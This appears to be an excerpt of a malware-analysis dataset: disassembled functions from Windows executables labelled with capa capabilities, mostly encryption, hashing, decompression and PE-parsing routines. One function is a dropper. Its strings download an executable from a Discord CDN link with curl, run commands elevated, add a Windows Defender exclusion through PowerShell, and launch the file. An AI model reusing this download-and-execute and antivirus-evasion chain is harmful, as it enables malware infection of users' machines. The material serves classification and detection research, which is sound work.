joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400ea4c0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x14019fec0]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, rcx
xorps xmm0, xmm0
lea rcx, [rsp + 0x20]
mov rsi, r9
movups xmmword [rsp + 0x20], xmm0
mov rdi, r8
call sub.VCRUNTIME140.dll_memcpy
movdqu xmm1, xmmword [rsp + 0x20]
lea rcx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
movdqu xmm0, xmmword [rsi + 0x20]
sub r8, rdi
xorps xmm1, xmmword [rsi + 0x50]
add rcx, rdi
xorps xmm1, xmmword [rsi + 0x40]
xor edx, edx
xorps xmm1, xmmword [rsi + 0x10]
andps xmm0, xmmword [rsi + 0x30]
xorps xmm1, xmm0
movdqu xmmword [rsp + 0x20], xmm1
call sub.VCRUNTIME140.dll_memset
mov r8, rdi
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
movdqu xmm4, xmmword [rsi + 0x50]
movdqu xmm0, xmmword [rsi + 0x40]
movdqu xmm1, xmmword [rsi + 0x30]
aesenc xmm1, xmmword [rsi + 0x40]
aesenc xmm0, xmm4
aesenc xmm4, xmmword [rsi]
movdqu xmmword [rsi + 0x50], xmm0
movdqu xmm0, xmmword [rsi + 0x20]
aesenc xmm0, xmmword [rsi + 0x30]
movdqu xmmword [rsi + 0x30], xmm0
movdqu xmm0, xmmword [rsi]
aesenc xmm0, xmmword [rsi + 0x10]
movdqu xmmword [rsi + 0x40], xmm1
movdqu xmm1, xmmword [rsi + 0x10]
aesenc xmm1, xmmword [rsi + 0x20]
movdqu xmmword [rsi + 0x10], xmm0
movdqu xmm0, xmmword [rsp + 0x20]
movdqu xmmword [rsi + 0x20], xmm1
xorps xmm4, xmm0
movdqu xmmword [rsi], xmm4
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140100000
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400ea660
Capabilities:
Encode data using xor
Encrypt data using aes via x86 extensions

Disassembly:
mov rax, rsp
sub rsp, 0x88
movdqa xmm3, xmmword [0x140180100]
movdqa xmm4, xmmword [0x140180110]
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
movaps xmmword [rax - 0x38], xmm8
movdqu xmm8, xmmword [rdx]
movaps xmmword [rax - 0x48], xmm9
movdqu xmm9, xmmword [rdx + 0x10]
movaps xmmword [rax - 0x58], xmm10
movdqu xmm10, xmmword [rcx]
movaps xmmword [rax - 0x68], xmm11
movdqu xmm11, xmmword [rcx + 0x10]
movaps xmmword [rax - 0x78], xmm12
xorps xmm8, xmm10
xorps xmm9, xmm11
movaps xmmword [rsp], xmm13
movdqa xmm7, xmm11
movdqa xmm2, xmm10
xorps xmm7, xmm4
movdqa xmm12, xmm9
xorps xmm2, xmm3
movdqa xmm13, xmm8
mov eax, 4
nop dword [rax]
movdqa xmm0, xmm3
movdqa xmm5, xmm2
movdqa xmm1, xmm4
aesenc xmm0, xmm2
movdqa xmm6, xmm0
movdqa xmm2, xmm12
aesenc xmm1, xmm3
movdqa xmm3, xmm13
aesenc xmm2, xmm4
movdqa xmm4, xmm1
aesenc xmm4, xmm0
movdqa xmm0, xmm2
aesenc xmm3, xmm12
aesenc xmm0, xmm1
movdqa xmm1, xmm3
aesenc xmm1, xmm2
aesenc xmm5, xmm7
aesenc xmm7, xmm13
movdqa xmm13, xmm4
xorps xmm7, xmm10
movdqa xmm2, xmm7
aesenc xmm2, xmm3
movdqa xmm3, xmm0
aesenc xmm3, xmm4
movdqa xmm4, xmm1
aesenc xmm4, xmm0
movdqa xmm0, xmm2
aesenc xmm6, xmm5
aesenc xmm13, xmm6
aesenc xmm0, xmm1
aesenc xmm5, xmm7
movdqa xmm7, xmm3
xorps xmm5, xmm11
movdqa xmm1, xmm5
aesenc xmm1, xmm2
movdqa xmm2, xmm4
aesenc xmm2, xmm3
movdqa xmm3, xmm0
aesenc xmm7, xmm13
aesenc xmm3, xmm4
movdqa xmm4, xmm1
aesenc xmm6, xmm5
xorps xmm6, xmm8
movdqa xmm12, xmm6
aesenc xmm13, xmm6
xorps xmm13, xmm9
movdqu xmmword [r8], xmm13
aesenc xmm4, xmm0
aesenc xmm12, xmm1
sub rax, 1
jne 0x1400ea6e0
movaps xmm6, xmmword [rsp + 0x70]
movaps xmm8, xmmword [rsp + 0x50]
movaps xmm9, xmmword [rsp + 0x40]
movaps xmm10, xmmword [rsp + 0x30]
movaps xmm11, xmmword [rsp + 0x20]
movaps xmm13, xmmword [rsp]
movdqu xmmword [r8 + 0x10], xmm12
movaps xmm12, xmmword [rsp + 0x10]
movdqu xmmword [r8 + 0x50], xmm7
movaps xmm7, xmmword [rsp + 0x60]
movdqu xmmword [r8 + 0x20], xmm4
movdqu xmmword [r8 + 0x30], xmm3
movdqu xmmword [r8 + 0x40], xmm2
add rsp, 0x88
ret
Function at 0x1400ea830
Capabilities:
Encode data using xor
Encrypt data using aes via x86 extensions

Disassembly:
sub rsp, 0x58
mov rax, qword [rsp + 0x80]
lea r8, [r8*8]
movaps xmmword [rsp + 0x40], xmm6
lea r9, [r9*8]
movaps xmmword [rsp + 0x30], xmm7
movq xmm0, r9
movaps xmmword [rsp + 0x20], xmm8
movq xmm8, r8
movdqu xmm6, xmmword [rax + 0x30]
mov r8d, 7
movdqu xmm7, xmmword [rax + 0x50]
movdqu xmm4, xmmword [rax + 0x40]
movdqu xmm2, xmmword [rax + 0x20]
movdqu xmm5, xmmword [rax + 0x10]
punpcklqdq xmm8, xmm0
xorps xmm8, xmm6
nop
movdqa xmm0, xmm4
movdqa xmm3, xmm7
aesenc xmm3, xmmword [rax]
xorps xmm3, xmm8
aesenc xmm0, xmm7
movdqa xmm7, xmm0
movdqa xmm0, xmm6
aesenc xmm0, xmm4
movdqa xmm4, xmm0
movdqa xmm0, xmm2
aesenc xmm0, xmm6
movdqa xmm6, xmm0
movdqa xmm0, xmm5
aesenc xmm0, xmm2
movdqa xmm2, xmm0
movdqu xmm0, xmmword [rax]
movdqu xmmword [rax], xmm3
aesenc xmm0, xmm5
movdqa xmm5, xmm0
sub r8, 1
jne 0x1400ea890
movdqu xmmword [rax + 0x30], xmm6
movdqu xmmword [rax + 0x50], xmm7
movdqu xmmword [rax + 0x40], xmm4
movdqu xmmword [rax + 0x20], xmm2
movdqu xmmword [rax + 0x10], xmm0
cmp rdx, 0x10
jne 0x1400ea91c
xorps xmm2, xmm6
xorps xmm4, xmm7
xorps xmm2, xmm4
xorps xmm3, xmm0
xorps xmm2, xmm3
movdqu xmmword [rcx], xmm2
jmp 0x1400ea94a
cmp rdx, 0x20
jne 0x1400ea940
xorps xmm2, xmm0
xorps xmm2, xmm3
movdqu xmmword [rcx], xmm2
movdqu xmm0, xmmword [rax + 0x40]
xorps xmm0, xmmword [rax + 0x50]
xorps xmm0, xmmword [rax + 0x30]
movdqu xmmword [rcx + 0x10], xmm0
jmp 0x1400ea94a
mov r8, rdx
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movaps xmm6, xmmword [rsp + 0x40]
movaps xmm7, xmmword [rsp + 0x30]
movaps xmm8, xmmword [rsp + 0x20]
add rsp, 0x58
ret
Function at 0x1400fe280
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push r14
push r15
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbp, rcx
mov ecx, dword [rcx + 0x20]
mov r14, rdx
add rcx, 0x18
mov r15d, r8d
lea r9d, [rax + rax]
add rcx, r9
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
jne 0x1400fe2c5
mov rbx, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbp
mov qword [rax + 8], rcx
mov eax, dword [rbp + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rbx + 0x10], rax
mov qword [rsp + 0x50], rdi
cmp r15d, dword [rbp + 0x1c]
jbe 0x1400fe310
call qword [rbp]
mov rcx, qword [rbx + 8]
mov r8d, r15d
mov rdx, r14
call qword [rbp + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbp + 0x18]
add r14, qword [rbx + 0x10]
mov rdx, qword [rbx + 8]
mov rcx, r14
call qword [rbp + reloc.WS2_32.dll_recv]
mov r15d, dword [rbp + 0x20]
mov rcx, qword [rbx + 8]
call qword [rbp]
mov rcx, qword [rbx + 0x10]
call qword [rbp]
xor esi, esi
test r15, r15
je 0x1400fe372
mov rsi, r15
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rbx + 8]
call qword [rbp + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rbx + 0x10]
call qword [rbp + reloc.WS2_32.dll_htonl]
sub r15, 1
jne 0x1400fe330
mov eax, dword [rbp + 0x1c]
cmp rsi, rax
jae 0x1400fe3b3
nop word [rax + rax]
mov rcx, qword [rbx + 8]
lea rdx, [0x140184c80]
mov r8d, 1
call qword [rbp + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 0x10]
lea rdx, [0x140184c81]
mov r8d, 1
call qword [rbp + reloc.WS2_32.dll_htonl]
mov eax, dword [rbp + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400fe380
mov rdi, qword [rsp + 0x50]
mov rax, rbx
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop r14
pop rbp
ret
Function at 0x1400fe3d0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push rbx
push rbp
push r12
push r14
push r15
sub rsp, 0x20
mov rbp, rcx
mov r12, r9
mov rcx, r8
mov r14, rdx
call fcn.14007dba0
mov r8d, dword [rbp + 0x18]
mov ecx, dword [rbp + 0x20]
add rcx, 0x18
mov r15d, eax
lea r9d, [r8 + r8]
add rcx, r9
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x1400fe576
lea rcx, [rax + 0x18]
mov qword [rax], rbp
mov qword [rax + 8], rcx
mov eax, dword [rbp + 0x18]
add rax, rcx
mov qword [rsp + 0x58], rsi
mov qword [rbx + 0x10], rax
mov qword [rsp + 0x60], rdi
cmp r15d, dword [rbp + 0x1c]
jbe 0x1400fe460
call qword [rbp]
mov rcx, qword [rbx + 8]
mov r8d, r15d
mov rdx, r14
call qword [rbp + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbp + 0x18]
add r14, qword [rbx + 0x10]
mov rdx, qword [rbx + 8]
mov rcx, r14
call qword [rbp + reloc.WS2_32.dll_recv]
mov r15d, dword [rbp + 0x20]
mov rcx, qword [rbx + 8]
call qword [rbp]
mov rcx, qword [rbx + 0x10]
call qword [rbp]
xor esi, esi
test r15, r15
je 0x1400fe4c2
mov rsi, r15
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x50]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x50], al
mov rcx, qword [rbx + 8]
call qword [rbp + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x50]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x50], al
mov r8d, 1
mov rcx, qword [rbx + 0x10]
call qword [rbp + reloc.WS2_32.dll_htonl]
sub r15, 1
jne 0x1400fe480
mov eax, dword [rbp + 0x1c]
cmp rsi, rax
jae 0x1400fe503
nop word [rax + rax]
mov rcx, qword [rbx + 8]
lea rdx, [0x140184c80]
mov r8d, 1
call qword [rbp + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 0x10]
lea rdx, [0x140184c81]
mov r8d, 1
call qword [rbp + reloc.WS2_32.dll_htonl]
mov eax, dword [rbp + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400fe4d0
mov rcx, qword [rsp + 0x70]
call fcn.14007dba0
mov r9, qword [rbx]
mov r8d, eax
mov rcx, qword [rbx + 8]
mov rdx, r12
call qword [r9 + reloc.WS2_32.dll_htonl]
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rbx]
test rdi, rdi
jne 0x1400fe532
mov edi, dword [rsi + 0x18]
add rdi, qword [rbx + 0x10]
mov rdx, qword [rbx + 8]
mov rcx, rdi
call qword [rsi + reloc.WS2_32.dll_recv]
mov r8d, dword [rsi + 0x20]
mov rdx, rdi
mov rcx, qword [rbx + 0x10]
call qword [rsi + reloc.WS2_32.dll_htonl]
mov rdx, qword [rbx + 0x10]
mov rcx, rdi
call qword [rsi + reloc.WS2_32.dll_recv]
mov rcx, rbx
call qword [fcn.140101312]
mov rdi, qword [rsp + 0x60]
xor eax, eax
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
pop rbp
pop rbx
ret
mov eax, 0x1b
add rsp, 0x20
pop r15
pop r14
pop r12
pop rbp
pop rbx
ret
Function at 0x1400fe6a0
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x14019fec0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbp, r8
mov dword [rsp + 0x20], 0xf0000040
mov rsi, rdx
mov rdi, rcx
xor r8d, r8d
lea rcx, [rsp + 0x38]
xor edx, edx
mov r9d, 0x18
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x1400fe6ec
mov eax, 0x1b
jmp 0x1400fe7be
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x1400fe730
mov rcx, qword [rsp + 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, 2
mov qword [rsp + 0x38], 0
jmp 0x1400fe7be
mov rcx, rbp
call fcn.14007dba0
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov r8d, eax
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x30]
xor r8d, r8d
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x20], 0
lea edx, [r8 + 2]
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
cmp dword [rsp + 0x30], 0x20
jne 0x1400fe79a
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x30]
mov r8, rdi
mov dword [rsp + 0x20], 0
mov edx, 2
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x1400fe7aa
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1400fe7bc
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140100000
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400ff570
Capabilities:
Encode data using xor

Disassembly:
mov r10, rcx
test rdx, rdx
je 0x1400ff5d5
nop dword [rax + rax]
movzx r8d, byte [r10]
lea r10, [r10 + 1]
movzx eax, r8b
movzx r9d, r8b
shr r9b, 1
and al, 0xfe
not r9b
movzx eax, al
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
or r8b, 1
test r9b, 2
movzx ecx, r8b
cmove ecx, eax
mov byte [r10 - 1], cl
sub rdx, 1
jne 0x1400ff580
ret

Function at 0x1400ff718
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1400ff752
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1400ff757
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400ff7a0
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x1400ff7a0
dec r8
sub rdx, 1
jne 0x1400ff786
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140100f38
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140100f82
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140100f82
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140100f82
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140100f82
cmp dword [rcx + 0x84], 0xe
jbe 0x140100f82
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140100f84
xor al, al
add rsp, 0x28
ret
Function at 0x140001070
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x340
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x330], rax
lea rax, str.https:__cdn.discordapp.com_attachments_1309745208472113182_1313083688119963718_matcha.exe_ex674ed7fbis674d867bhm27291556018212f60131c5256a71abb4536626c1846517ecba16bc2b5d41e3b0
mov edx, 0x200
lea rdi, str.C:UsersdanieDownloadsmatchamatcha.exe
mov qword [rsp + 0x28], rdi
lea r9, str._c_curl
lea r8, str._s__s__s___o___s_
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x130]
call fcn.140001010
xor ebx, ebx
lea r9, [rsp + 0x130]
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
lea rdx, str.runas
mov qword [rsp + 0x20], rbx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str._c_powershell__Command__Add_MpPreference__ExclusionPath_C:UsersdanieDownloadsmatcha_
mov qword [rsp + 0x20], rdi
lea r8, str._s__s
mov edx, 0x100
lea rcx, [rsp + 0x30]
call fcn.140001010
lea r9, [rsp + 0x30]
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor r9d, r9d
mov dword [rsp + 0x28], ebx
mov r8, rdi
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
mov rcx, qword [rsp + 0x330]
xor rcx, rsp
call fcn.140001190
mov rbx, qword [rsp + 0x350]
add rsp, 0x340
pop rdi
ret

Function at 0x140001a84
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ace
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ace
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ace
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ace
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ace
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ad0
xor al, al
add rsp, 0x28
ret
Function at 0x140006ff4
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140007063
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140007063
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140007063
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140007063
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140007063
cmp dword [rcx + 0x84], 0xe
jbe 0x140007063
cmp dword [rcx + 0xf8], 0
je 0x140007063
mov ecx, ebx
call fcn.140007108
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140006efc
nop
cmp dword [rbp + 0x20], 0
jne 0x1400070c4
call fcn.14000c1b4
cmp eax, 1
jne 0x1400070b4
xor dl, dl
jmp 0x1400070be
call fcn.14000c180
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x1400070cf
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400070d8
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140006ff4

Function at 0x1400071dc
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140006ff4
Function at 0x14000bfb8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000bfe8
xor eax, eax
jmp 0x14000c0ab
mov rbp, rbx
cmp word [rax], si
je 0x14000c00d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000bff4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000bff0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000bed8
movsxd r14, eax
mov rcx, r14
test eax, eax
jne 0x14000c04e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000bfe1
call fcn.140007fe0
mov rdi, rax
test rax, rax
jne 0x14000c064
xor ecx, ecx
call fcn.140007f80
jmp 0x14000c043
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000bed8
test eax, eax
jne 0x14000c095
mov rcx, rdi
call fcn.140007f80
jmp 0x14000c09f
xor ecx, ecx
call fcn.140007f80
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140013080
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400130a8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400130a8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x141d5d058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x141d5d1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141d5d089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141d5d06f
add dl, dl
jne 0x141d5d096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141d5d0f6
xor eax, eax
add dl, dl
jne 0x141d5d0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141d5d1ad
add dl, dl
jne 0x141d5d0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141d5d0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141d5d0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141d5d0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141d5d0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141d5d07e
mov eax, 1
add dl, dl
jne 0x141d5d106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141d5d113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141d5d0fb
sub eax, ebx
mov ebx, 1
jne 0x141d5d14c
mov ecx, 1
add dl, dl
jne 0x141d5d12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141d5d13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141d5d123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141d5d07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141d5d168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141d5d175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141d5d15d
cmp eax, 0x7d00
jae 0x141d5d19b
cmp eax, 0x500
jb 0x141d5d196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141d5d07e
cmp eax, 0x7f
ja 0x141d5d19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141d5d07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141d5d1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141d5d07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x18000a6c0
Capabilities:
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov r13, r8
mov r14, rdx
mov rsi, rcx
movzx r12d, byte [r8]
movabs rax, 0xcbf29ce484222325
xor r12, rax
movabs rcx, 0x100000001b3
imul r12, rcx
movzx eax, byte [r8 + 1]
xor r12, rax
imul r12, rcx
movzx eax, byte [r8 + 2]
xor r12, rax
imul r12, rcx
movzx eax, byte [r8 + 3]
xor r12, rax
imul r12, rcx
mov rcx, r12
and rcx, qword [rsi + 0x30]
add rcx, rcx
mov rax, qword [rsi + 0x18]
mov rbx, qword [rax + rcx*8 + 8]
lea rdx, [rsi + 8]
mov r15, qword [rdx]
cmp rbx, r15
jne 0x18000a74f
mov rbx, r15
mov rbp, r15
jmp 0x18000a79c
mov rcx, qword [rax + rcx*8]
mov eax, dword [r8]
cmp eax, dword [rbx + 0x10]
je 0x18000a76e
nop dword [rax + rax]
cmp rbx, rcx
je 0x18000a796
mov rbx, qword [rbx + 8]
cmp eax, dword [rbx + 0x10]
jne 0x18000a760
mov qword [r14], rbx
mov byte [r14 + 8], 0
mov rax, r14
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov r15, rbx
mov rbp, rbx
movabs rax, 0xaaaaaaaaaaaaaaa
cmp qword [rsi + 0x10], rax
je 0x18000a8e8
mov qword [rsp + 0x20], rdx
mov qword [rsp + 0x28], 0
mov ecx, 0x18
call fcn.18002a9b0
mov rdi, rax
mov qword [rsp + 0x28], rax
mov ecx, dword [r13]
mov dword [rax + 0x10], ecx
xor r13d, r13d
mov dword [rax + 0x14], r13d
mov rcx, qword [rsi + 0x10]
add rcx, 1
xorps xmm0, xmm0
js 0x18000a7f2
cvtsi2ss xmm0, rcx
jmp 0x18000a807
mov rax, rcx
shr rax, 1
and ecx, 1
